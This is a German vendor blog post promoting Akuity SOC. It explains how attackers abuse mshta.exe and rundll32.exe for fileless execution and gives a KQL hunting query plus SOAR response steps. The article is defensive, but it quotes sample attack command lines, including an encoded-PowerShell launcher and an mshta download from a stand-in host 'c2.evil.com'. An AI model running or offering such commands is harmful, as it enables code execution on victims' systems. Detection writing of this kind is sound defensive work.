Logo Akuity SOC
Akuity SOC
CYBERSECURITY
Identitätsverwaltung (Entra ID)

Missbrauch mshta & rundll32: Fileless Hunting — Akuity SOC

5 min Lesezeit Akuity SOC · Delphisoft Deutschland

Erkennen und stoppen Sie dateilose Angriffe via mshta.exe und rundll32.exe. KQL-Hunting in Defender for Endpoint und 1-Klick SOAR-Reaktion mit Akuity SOC.

Moderne Angreifer setzen verstärkt auf maximale Unauffälligkeit und zweckentfremden legitime Windows-Systemprogramme: Diese Taktik ist bekannt als Living off the Land (LOLBins). Unter diesen nativen Binärdateien gehören mshta.exe (Microsoft HTML Application Host) und rundll32.exe zu den gefährlichsten Vektoren für dateilose Ausführungen (fileless execution). Bedrohungsakteure wie Qakbot und AsyncRAT missbrauchen diese digital signierten Microsoft-Tools, um lückenhafte AppLocker-Richtlinien zu umgehen und schädlichen Code auszuführen, ohne jemals eine klassische Binärdatei (PE) auf dem Datenträger zu speichern.

Anatomie der MITRE ATT&CK Technik T1059.007

Die Ausweichmechanismen von mshta.exe basieren auf der standardmäßigen Fähigkeit, Windows-Skript-Engines (VBScript, JScript) direkt aus Befehlszeilenparametern oder über entfernte Netzwerkressourcen zu initiieren:

  • Inline-Skriptausführung: Angreifer übergeben Direktiven wie mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -enc ..."",0:close"). Der Code wird nahtlos im RAM von Mshta ausgeführt, ohne dass jemals eine .hta-Datei auf der Festplatte landet.
  • Entfernter Payload-Download: Der Aufruf einer URL (mshta http://c2.evil.com/payload.hta) veranlasst das Tool, eine externe HTML-Applikation dynamisch herunterzuladen und auszuführen, wodurch statische Webfilter häufig umgangen werden.
  • Missbrauch von rundll32.exe: In Kombination mit dem Pseudo-Protokoll javascript: ermöglicht rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval(...) die Ausführung von JavaScript, ohne ein sichtbares Browserfenster zu starten.

Der native Blindspot herkömmlicher Endpoint-Kontrollen

Herkömmliche Antiviren-Lösungen scheitern hier regelmäßig: Die ausgeführte Binärdatei stammt aus C:\Windows\System32\ und ist vertrauenswürdig. Wenn die EDR-Telemetrie nicht über eine strikte semantische Befehlszeilenanalyse und Eltern-Kind-Prozessvalidierung verfügt (z. B. eine Word- oder Excel-Instanz, die mshta.exe spawnt), bleibt der Angriff vollkommen unbemerkt.

Proaktives Threat Hunting mit Advanced Hunting (KQL)

Mit der folgenden KQL-Abfrage auf der Tabelle DeviceProcessEvents in Defender for Endpoint isolieren Sie anomale Skriptaufrufe, dekodieren Base64-Nutzlasten und identifizieren verdächtige C2-Infrastrukturen:

DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("mshta.exe", "rundll32.exe")
| where ProcessCommandLine has_any ("javascript:", "vbscript:", "about:", "http://", "https://")
    or ProcessCommandLine matches regex @"(?i)\b(wscript\.shell|scripting\.filesystemobject|eval)\b"
| extend TargetURI = extract(@"(?i)(?:https?|ftp)://[^\s""']+", 0, ProcessCommandLine)
| extend EncodedPayload = extract(@"(?i)(?:-enc|-encodedcommand|base64)[\s:=]+([A-Za-z0-9+/=]{20,})", 1, ProcessCommandLine)
| extend DecodedScript = iff(isnotempty(EncodedPayload), base64_decode_tostring(EncodedPayload), "N/A")
| extend ExecutionPattern = case(
    ProcessCommandLine has "javascript:", "Inline JavaScript",
    ProcessCommandLine has "vbscript:", "Inline VBScript",
    isnotempty(TargetURI), "Remote Payload Download",
    "Suspected API/ADS Call")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ExecutionPattern, TargetURI, DecodedScript, ProcessCommandLine

Automatisierte SOAR-Remediation mit Akuity SOC

Wird eine bösartige Ausführung verifiziert, zählt jede Sekunde, um persistente C2-Kanäle zu kappen. Akuity SOC automatisiert die Reaktion lückenlos:

  1. Native Triage-Auflösung: Der integrierte KI-Assistent von Akuity SOC decodiert und bewertet Base64-Payloads in unter 2 Sekunden. Damit entfällt der riskante Rückgriff auf öffentliche Web-Decoder, wodurch Datensouveränität gewährleistet bleibt.
  2. 1-Klick SOAR-Reaktion: Sofortige Ausführung von isolateDevice() und blockIocOnTenant() direkt aus dem Evidenzinventar, um C2-Verbindungen zu trennen und den flüchtigen Speicher für die Forensik einzufrieren.
  3. Zero-Trust-Governance: Obligatorische AAL2-MFA-Verifizierung vor jeder Ausführung administrativer Gegenmaßnahmen inklusive lückenloser, manipulationssicherer Audit-Protokollierung nach NIS 2 und SOC 2 Type II.
Akuity SOC · 14 Tage Kostenlose Testversion LOLBin-Angriffe automatisiert neutralisieren:

Integrieren Sie unsere agentenlose SOAR-Plattform nahtlos mit Defender for Endpoint und stoppen Sie dateilose Angriffe in Echtzeit.

Starten Sie Ihre kostenlose 14-Tage-Testversion (ohne Kreditkarte) →

Technisches Mini-FAQ

Kann mshta.exe und rundll32.exe per WDAC oder AppLocker vollständig gesperrt werden?

Das Sperren von mshta.exe ist in gehärteten Umgebungen meist ohne Seiteneffekte möglich. Das vollständige Blockieren von rundll32.exe führt jedoch zu Störungen essenzieller Windows-Dienste (wie Systemsteuerungs-Applets und Druckertreiberdialogen). Empfohlen wird stattdessen eine WDAC-Richtlinie zur Beschränkung unautorisierter Skript-Host-Aufrufe.

Warum wird mshta.exe nicht durch die lokale Windows-Firewall blockiert?

mshta.exe greift auf standardisierte Windows-Netzwerk-APIs (WinINet / Urlmon) zurück. Sofern keine spezifische Regel für ausgehenden Datenverkehr pro Binärdatei oder eine globale Webproxy-Inspektion aktiv ist, wertet die Firewall die Kommunikation als regulären, ausgehenden HTTP/HTTPS-Verkehr.

Zugehörige Lösungsseite

Plateforme SOC & SOAR Microsoft

Automatisez votre détection et votre réponse aux incidents avec Akuity SOC.

Vollständige Lösung anzeigen